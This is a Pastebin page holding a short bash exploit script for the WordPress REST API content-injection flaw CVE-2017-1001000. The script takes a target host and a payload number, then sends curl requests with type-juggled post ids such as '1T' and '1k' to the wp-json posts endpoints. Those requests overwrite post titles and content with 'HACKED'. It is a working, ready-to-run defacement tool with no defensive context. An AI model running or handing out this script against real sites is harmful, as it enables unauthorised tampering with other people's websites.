Advertisement
choirurrizal

Wordpress wp_Json API exploit - IndexPhp

Mar 16th, 2017
630
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.81 KB | None | 0 0
  1. #!/bin/bash
  2. #Wordpress wp_Json API exploit
  3. #Larry W. Cashdollar
  4. #Discovered by Marc Montipas  CVE-2017-1001000
  5. #https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html?utm_campaign=wp472vuln
  6. #Usage ./exp.sh target 1,2,3 for different payloads
  7.  
  8. if [ $2 == 2 ]
  9.     then
  10.     curl -s --url "http://$1/index.php/wp-json/wp/v2/posts/12345?id=1T" --data 'title=HACKED&content=HACKED' | indent
  11. fi
  12.  
  13. if [ $2 == 1 ]
  14.     then
  15.     curl -s -X POST --url "http://$1/index.php/wp-json/wp/v2/posts/5" --data '{"id":"1k","title":"11Hacked1","content":"11Hacked1"}' -H 'Content-Type: application/json'| indent
  16. fi
  17.  
  18. if [ $2 == 3 ]
  19.     then
  20.     curl -s -X POST --url "http://$1/?rest_route=wp/v2/posts/5" --data '{"id":"1k","title":"11Hacked1","content":"11Hacked1"}' -H 'Content-Type: application/json'| indent
  21. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement